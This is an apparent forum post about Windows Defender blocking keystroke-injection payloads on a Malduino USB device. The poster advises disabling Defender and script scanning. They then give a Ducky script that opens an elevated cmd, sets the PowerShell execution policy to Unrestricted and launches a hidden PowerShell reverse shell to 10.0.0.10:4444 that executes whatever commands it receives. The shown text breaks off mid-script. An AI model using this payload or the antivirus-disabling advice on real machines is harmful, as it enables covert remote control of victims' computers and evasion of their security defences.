H0nd0

Sorry about the premature enter 😮 I too am experiencing this same issue, where Windows Defender is deleting certain payloads and blocking certain commands/scripts. It's important that I point out that I'm using a Malduino and not a Rubber Ducky, the only significant difference being how they are programmed. After a bit of research, I was able to determine that Windows Defender views certain payloads and/or scripts as malicious; thus, deleting the payload or blocking the script. I use the above script You have to disable to Windows Defender and disable script scanning.

DELAY 1000 GUI r DELAY 500 STRING cmd ENTER CTRL-SHIFT DELAY 500 ALT-y DELAY 500 STRING powershell -WindowStyle hidden "Set-Execution Policy -Scope CurrentUser -ExecutionPolicy Unrestricted" && STRING powershell -WindowStyle hidden -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0...65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendbac